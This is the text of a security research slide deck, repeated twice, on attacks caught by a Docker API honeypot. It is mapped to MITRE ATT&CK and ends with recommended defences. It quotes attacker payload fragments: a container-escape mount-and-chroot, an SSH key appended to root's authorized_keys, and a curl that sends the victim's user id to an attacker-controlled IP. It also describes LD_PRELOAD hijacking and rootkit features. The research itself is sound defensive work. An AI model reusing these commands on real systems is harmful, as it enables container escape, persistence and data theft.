ATT&CKing
Containers in The
Cloud
Jared Stroud (@DLL_Cool_J)
© 2022, Lacework Inc. All Rights Reserved.
©
2022,
Lacework
Inc.
All
Rights
Reserved. 2
● Jared Stroud
● Currently: Cloud Security Researcher @
Lacework
● Former: MITRE Security Engineer
○ ATT&CK EVALS Carbanak/Fin7
○ CALDERA
● Presented at:
○ SANS Blue Team Summit - Lightning
Talk
○ DEFCON - Packet Hacking Village
○ Interpol DFEG
○ Shmoocon - Fire Talk
○ DFRWS - EU
○ BSides Roc
$> whoami
Lacework Labs is the dedicated research team at
Lacework. We decided to build with a focus on areas that
we believe are not getting enough attention in the research
community specifically around new threats and attack
surface risks within the public cloud. Like any good
research team, we use a combination of data-driven
intelligence creation and our own expertise in the key
areas we focus on.
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Agenda
3
The Shift to
Container Workloads
Honeypots Analyze The Data Container Focused
Defenses
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Shifting to Container Workloads
● Enterprise continues to adopt container workloads.
○ This “shift left” mentality provides business
advantages to get products to end-users faster.
● Adversaries have noticed, and have targeted
misconfigurations around the container ecosystem,
including:
○ T1190 - Code repositories CI/CD pipelines
■ Ex: Gitlab
○ T1538 - Cloud Service Dashboards
○ T1552.007 - Exposed APIs for Containers.
● Lacework Labs has observed the introduction of “rogue
images” into environments via:
○ T1610 - Deploying a container.
○ T1608 - Stage malicious container on Docker Hub.
4
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Collecting Cloud Attack Data - Honeypots
● Honeypots
○ Emulate a service to a specific level of fidelity so an
attacker throws an exploit/payload for collection.
● Consider the level of emulation fidelity you need.
○ Anecdotal example, having a simple netcat listener
on port 9200 for Elasticsearch has caught the same
payloads as Elasticsearch honeypots that actually
do a level of service emulation.
○ Consider the adversary you’re looking to catch
data from
■ Opportunistic vs Targeted
5
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Building Whalehoney - A Docker Honeypot
● At the time of architecting our honeypot infrastructure, not many
solutions existed for Docker that weren’t heavily tied to a particular
database.
● Engineers at Lacework Labs developed a simple Python Flask based
application to emulate the Docker API based on the available
documentation on the Docker engine.
6
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Quick Whalehoney Stats
● 244 unique payloads targeting the “api_container_create” endpoint
○ 24 payloads setting “privileged:true”
● 3 external SAAS services observed being used in attacks
● Docker Hub, Ngrok, Weaveworks’ Scope
○ Ngrok being leveraged in 146 payloads.
7
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Typical Observed Execution Killchain
8
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Deploy Container (T1610) & Escape to Host (T1611)
● Deploy container: achieved via exposed API
● Escape to Host: achieved via mounting host’s “/” to container’s “/mnt” and chrooting
9
T1611 - From Container → Host Pivot
mount /:/mnt && chroot /mnt
Exposed API Port (2375)
Attacker’s payload
mount /:/mnt && chroot /mnt
Exposed API Port (2375)
Attacker’s payload
T1059.004 - Post-compromise Payloads - Shell Script Dropper
mount /:/mnt && chroot /mnt
Exposed API Port (2375)
Attacker’s payload
Post-compromise Payloads - Rootkits, Cryptominers, and ssh keys
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Notable Execution of Initial Payload (cronb.sh)
● ~1500 line bash script (T1059.004) to deploy additional utilities
including:
● Kill potential cryptocurrency miners on host.
● Deploys their own XMRig Cryptocurrency miner
● Observed TTPs:
○ Kills Alibaba (CloudMonitor/Aliyun) cloud monitoring
agent (T1562.001)
○ Deploys SSH key for continued access (T1098.004)
○ Deploys .so’s for LD_PRELOAD attacks (T1574.006)
○ Deploys Diamorphine Rootkit for hiding access (T1014)
○ Naming ELF payloads to <file_name>.jpg when
downloading (T1036)
● Deploying C2 Agent (ZiggyStartgux/Katien/Tsunami - IRC Bot)
● curl <attacker_controlled_ip>/idcheck/$(id) (obtain user id)
13
https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c
Ghidra Pseudo C of Shared Objects grabbed by Docker bash script
● T1574.006 - Hijack Execution Flow: Dynamic Linker/Hijacking
○ Used for persistence/defense evasion
● Attack script wgets tar file of shared objects to be placed in /usr/local/lib and put in
ld.so.preload.
Notable Execution of Initial Payload (cronb.sh)
● Rootkit (T1014) Features include:
● When loaded, the module starts invisible.
● Hide/unhide any process by sending a signal 31.
● Sending a signal 63(to any pid) makes the module become (in)visible.
● Sending a signal 64(to any pid) makes the given user become root.
● Files or directories starting with the MAGIC_PREFIX become invisible.
● Diamorphine is built on the victim machine, and has the MAGIC_PREFIX unchanged.
https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h
diamorphine.h from attacker’s payload
Defense Evasion/Persistence - Diamorphine Rootkit
echo ssh key to /root/.ssh/authorized_keys
Exposed API Port (2375)
Attacker’s payload
● cmd": ["sh", "-c", "echo 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDIdl8SFK8a6
VAjM6i8AAUtpl15<snippet>' >>
/opt/root/.ssh/authorized_keys]
T1189 - Drive by Compromise (SSH Key Dropping)
…
"cmd":["--probe.docker=true","--service-token=<REDACTED>"],
"Image":"weaveworks/scope:1.13.2"
….
T1133 - External Remote Services (Weaveworks Scope)
● Lacework Labs has observed multiple adversaries leveraging Docker Hub as a
staging ground.
T1608 - Staging Capabilities (Docker Hub)
● Ngrok - legitimate utility for proxying local connections to public facing services
(T1090).
○ Target users are developers that want to expose something locally on the internet.
○ Think of it as reverse ssh tunnels-as-a-service
● How adversaries abuse it:
○ Hosting payloads behind ngrok.
■ Free tier/paid tiers exist.
○ Avoids having to setup infrastructure beyond a VM.
T1608 - Staging Capabilities (T1608) Ngrok
mount /:/mnt && chroot /mnt
Exposed API Port (2375)
Attacker’s payload
Stopping The Compromise! Don’t expose the Docker Socket!
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Beyond ACLs & Limiting exposed container APIs
Docker Content Trust (DCT)
● Leverage Docker Content Trust (DCT) to enforce digital signatures for
runtime verification of images in your environment.
○ Prevent non-signed images from running.
○ Caveat, DCT is enabled/disabled via an environment variable.
● Docker Notary
○ Built around The Update Framework
● Does introduce additional management overhead of handling signing
keys/revocations/etc…
Reference: https://docs.docker.com/engine/security/trust/
21
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Beyond ACLs & Limiting exposed container APIs
Securing Kubernetes Deployments
● Prevent accidental exposure of management dashboards!
○ Including 3rd party integrations (Argo/Gitlab/etc…)
● Open Policy Agent (OPA) Enforcement!
○ Admission controller to prevent privileged pods or unnecessary
capabilities being paired with deployments in given namespaces.
○ Ex: prevent CAP_SYS_ADMIN from being set on a deployment.
● Deploy Signed Containers
○ GCP’s GKE - Binary Authorization
■ Ensure deployed workloads have been signed.
○ AWS EKS Image signing is on their road map according to
documentation
■ https://aws.github.io/aws-eks-best-practices/security/docs/image/
22
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Beyond ACLs & Limiting exposed container APIs
Exploring Runtime Protection Options
● Profile and limit syscalls you application makes!
○ Runtime syscall allow-listing via seccomp
● Can be tricky to tune, but greatly reduces surface
in the event of an application compromise.
Reference: https://www.lacework.com/blog/sand-honey-building-honeypots/
23
©
2022,
Lacework
Inc.
All
Rights
Reserved.
Beyond ACLs & Limiting exposed container APIs
Honey Tokens in Cloud Native Environments
● What about non-opportunistic attackers?
○ Targeting resource specific services
○ Ex: Managed DBs, Container Registries, etc…
● Proactive Defenses via “honey tokens” around
specific cloud native resources
○ Ex: Container Registry with beta-database-secrets-
test
Reference: https://www.lacework.com/blog/diy-canary-tokens-in-aws
24
Docker Honeypot - Whalehoney
https://www.github.com/lacework-dev/whalehoney-PUBLIC
Tool Release!
Whalehoney, simple API emulation
©
2022,
Lacework
Inc.
All
Rights
Reserved. 26
Recap
Observed ATT&CKs
T1610/T1611 - Deploy containers and escape to host.
T1059.004 - Post-compromise payloads (Shell Script)
T1562.001 - Impairing Defenses
T1098.004 - Deploying ssh keys for persistence
T1574.006/T10014 - LD_Preload/KOs for hijacking
execution flow
Defending In the Cloud
Limit attack surface exposure (ingress/egress ACLs)
Enforce signed container image deployments
Implement Security Policies to API call Possibilities
OPA for security policy enforcement of Kubernetes
Proactive Defense via Honey Tokens
Thank you.
IF YOU HAVE QUESTIONS, PLEASE GET IN TOUCH WITH
laceworklabs@lacework.com
© 2022, Lacework Inc. All Rights Reserved.

ATT&CKING Containers in The Cloud

  • 1.
    ATT&CKing Containers in The Cloud JaredStroud (@DLL_Cool_J) © 2022, Lacework Inc. All Rights Reserved.
  • 2.
    © 2022, Lacework Inc. All Rights Reserved. 2 ● JaredStroud ● Currently: Cloud Security Researcher @ Lacework ● Former: MITRE Security Engineer ○ ATT&CK EVALS Carbanak/Fin7 ○ CALDERA ● Presented at: ○ SANS Blue Team Summit - Lightning Talk ○ DEFCON - Packet Hacking Village ○ Interpol DFEG ○ Shmoocon - Fire Talk ○ DFRWS - EU ○ BSides Roc $> whoami Lacework Labs is the dedicated research team at Lacework. We decided to build with a focus on areas that we believe are not getting enough attention in the research community specifically around new threats and attack surface risks within the public cloud. Like any good research team, we use a combination of data-driven intelligence creation and our own expertise in the key areas we focus on.
  • 3.
    © 2022, Lacework Inc. All Rights Reserved. Agenda 3 The Shift to ContainerWorkloads Honeypots Analyze The Data Container Focused Defenses
  • 4.
    © 2022, Lacework Inc. All Rights Reserved. Shifting to ContainerWorkloads ● Enterprise continues to adopt container workloads. ○ This “shift left” mentality provides business advantages to get products to end-users faster. ● Adversaries have noticed, and have targeted misconfigurations around the container ecosystem, including: ○ T1190 - Code repositories CI/CD pipelines ■ Ex: Gitlab ○ T1538 - Cloud Service Dashboards ○ T1552.007 - Exposed APIs for Containers. ● Lacework Labs has observed the introduction of “rogue images” into environments via: ○ T1610 - Deploying a container. ○ T1608 - Stage malicious container on Docker Hub. 4
  • 5.
    © 2022, Lacework Inc. All Rights Reserved. Collecting Cloud AttackData - Honeypots ● Honeypots ○ Emulate a service to a specific level of fidelity so an attacker throws an exploit/payload for collection. ● Consider the level of emulation fidelity you need. ○ Anecdotal example, having a simple netcat listener on port 9200 for Elasticsearch has caught the same payloads as Elasticsearch honeypots that actually do a level of service emulation. ○ Consider the adversary you’re looking to catch data from ■ Opportunistic vs Targeted 5
  • 6.
    © 2022, Lacework Inc. All Rights Reserved. Building Whalehoney -A Docker Honeypot ● At the time of architecting our honeypot infrastructure, not many solutions existed for Docker that weren’t heavily tied to a particular database. ● Engineers at Lacework Labs developed a simple Python Flask based application to emulate the Docker API based on the available documentation on the Docker engine. 6
  • 7.
    © 2022, Lacework Inc. All Rights Reserved. Quick Whalehoney Stats ●244 unique payloads targeting the “api_container_create” endpoint ○ 24 payloads setting “privileged:true” ● 3 external SAAS services observed being used in attacks ● Docker Hub, Ngrok, Weaveworks’ Scope ○ Ngrok being leveraged in 146 payloads. 7
  • 8.
  • 9.
    © 2022, Lacework Inc. All Rights Reserved. Deploy Container (T1610)& Escape to Host (T1611) ● Deploy container: achieved via exposed API ● Escape to Host: achieved via mounting host’s “/” to container’s “/mnt” and chrooting 9
  • 10.
    T1611 - FromContainer → Host Pivot mount /:/mnt && chroot /mnt Exposed API Port (2375) Attacker’s payload
  • 11.
    mount /:/mnt &&chroot /mnt Exposed API Port (2375) Attacker’s payload T1059.004 - Post-compromise Payloads - Shell Script Dropper
  • 12.
    mount /:/mnt &&chroot /mnt Exposed API Port (2375) Attacker’s payload Post-compromise Payloads - Rootkits, Cryptominers, and ssh keys
  • 13.
    © 2022, Lacework Inc. All Rights Reserved. Notable Execution ofInitial Payload (cronb.sh) ● ~1500 line bash script (T1059.004) to deploy additional utilities including: ● Kill potential cryptocurrency miners on host. ● Deploys their own XMRig Cryptocurrency miner ● Observed TTPs: ○ Kills Alibaba (CloudMonitor/Aliyun) cloud monitoring agent (T1562.001) ○ Deploys SSH key for continued access (T1098.004) ○ Deploys .so’s for LD_PRELOAD attacks (T1574.006) ○ Deploys Diamorphine Rootkit for hiding access (T1014) ○ Naming ELF payloads to <file_name>.jpg when downloading (T1036) ● Deploying C2 Agent (ZiggyStartgux/Katien/Tsunami - IRC Bot) ● curl <attacker_controlled_ip>/idcheck/$(id) (obtain user id) 13
  • 14.
    https://github.com/gianlucaborello/libprocesshider/blob/master/processhider.c Ghidra Pseudo Cof Shared Objects grabbed by Docker bash script ● T1574.006 - Hijack Execution Flow: Dynamic Linker/Hijacking ○ Used for persistence/defense evasion ● Attack script wgets tar file of shared objects to be placed in /usr/local/lib and put in ld.so.preload. Notable Execution of Initial Payload (cronb.sh)
  • 15.
    ● Rootkit (T1014)Features include: ● When loaded, the module starts invisible. ● Hide/unhide any process by sending a signal 31. ● Sending a signal 63(to any pid) makes the module become (in)visible. ● Sending a signal 64(to any pid) makes the given user become root. ● Files or directories starting with the MAGIC_PREFIX become invisible. ● Diamorphine is built on the victim machine, and has the MAGIC_PREFIX unchanged. https://github.com/m0nad/Diamorphine/blob/master/diamorphine.h diamorphine.h from attacker’s payload Defense Evasion/Persistence - Diamorphine Rootkit
  • 16.
    echo ssh keyto /root/.ssh/authorized_keys Exposed API Port (2375) Attacker’s payload ● cmd": ["sh", "-c", "echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIdl8SFK8a6 VAjM6i8AAUtpl15<snippet>' >> /opt/root/.ssh/authorized_keys] T1189 - Drive by Compromise (SSH Key Dropping)
  • 17.
  • 18.
    ● Lacework Labshas observed multiple adversaries leveraging Docker Hub as a staging ground. T1608 - Staging Capabilities (Docker Hub)
  • 19.
    ● Ngrok -legitimate utility for proxying local connections to public facing services (T1090). ○ Target users are developers that want to expose something locally on the internet. ○ Think of it as reverse ssh tunnels-as-a-service ● How adversaries abuse it: ○ Hosting payloads behind ngrok. ■ Free tier/paid tiers exist. ○ Avoids having to setup infrastructure beyond a VM. T1608 - Staging Capabilities (T1608) Ngrok
  • 20.
    mount /:/mnt &&chroot /mnt Exposed API Port (2375) Attacker’s payload Stopping The Compromise! Don’t expose the Docker Socket!
  • 21.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Docker Content Trust (DCT) ● Leverage Docker Content Trust (DCT) to enforce digital signatures for runtime verification of images in your environment. ○ Prevent non-signed images from running. ○ Caveat, DCT is enabled/disabled via an environment variable. ● Docker Notary ○ Built around The Update Framework ● Does introduce additional management overhead of handling signing keys/revocations/etc… Reference: https://docs.docker.com/engine/security/trust/ 21
  • 22.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Securing Kubernetes Deployments ● Prevent accidental exposure of management dashboards! ○ Including 3rd party integrations (Argo/Gitlab/etc…) ● Open Policy Agent (OPA) Enforcement! ○ Admission controller to prevent privileged pods or unnecessary capabilities being paired with deployments in given namespaces. ○ Ex: prevent CAP_SYS_ADMIN from being set on a deployment. ● Deploy Signed Containers ○ GCP’s GKE - Binary Authorization ■ Ensure deployed workloads have been signed. ○ AWS EKS Image signing is on their road map according to documentation ■ https://aws.github.io/aws-eks-best-practices/security/docs/image/ 22
  • 23.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Exploring Runtime Protection Options ● Profile and limit syscalls you application makes! ○ Runtime syscall allow-listing via seccomp ● Can be tricky to tune, but greatly reduces surface in the event of an application compromise. Reference: https://www.lacework.com/blog/sand-honey-building-honeypots/ 23
  • 24.
    © 2022, Lacework Inc. All Rights Reserved. Beyond ACLs &Limiting exposed container APIs Honey Tokens in Cloud Native Environments ● What about non-opportunistic attackers? ○ Targeting resource specific services ○ Ex: Managed DBs, Container Registries, etc… ● Proactive Defenses via “honey tokens” around specific cloud native resources ○ Ex: Container Registry with beta-database-secrets- test Reference: https://www.lacework.com/blog/diy-canary-tokens-in-aws 24
  • 25.
    Docker Honeypot -Whalehoney https://www.github.com/lacework-dev/whalehoney-PUBLIC Tool Release! Whalehoney, simple API emulation
  • 26.
    © 2022, Lacework Inc. All Rights Reserved. 26 Recap Observed ATT&CKs T1610/T1611- Deploy containers and escape to host. T1059.004 - Post-compromise payloads (Shell Script) T1562.001 - Impairing Defenses T1098.004 - Deploying ssh keys for persistence T1574.006/T10014 - LD_Preload/KOs for hijacking execution flow Defending In the Cloud Limit attack surface exposure (ingress/egress ACLs) Enforce signed container image deployments Implement Security Policies to API call Possibilities OPA for security policy enforcement of Kubernetes Proactive Defense via Honey Tokens
  • 27.
    Thank you. IF YOUHAVE QUESTIONS, PLEASE GET IN TOUCH WITH laceworklabs@lacework.com © 2022, Lacework Inc. All Rights Reserved.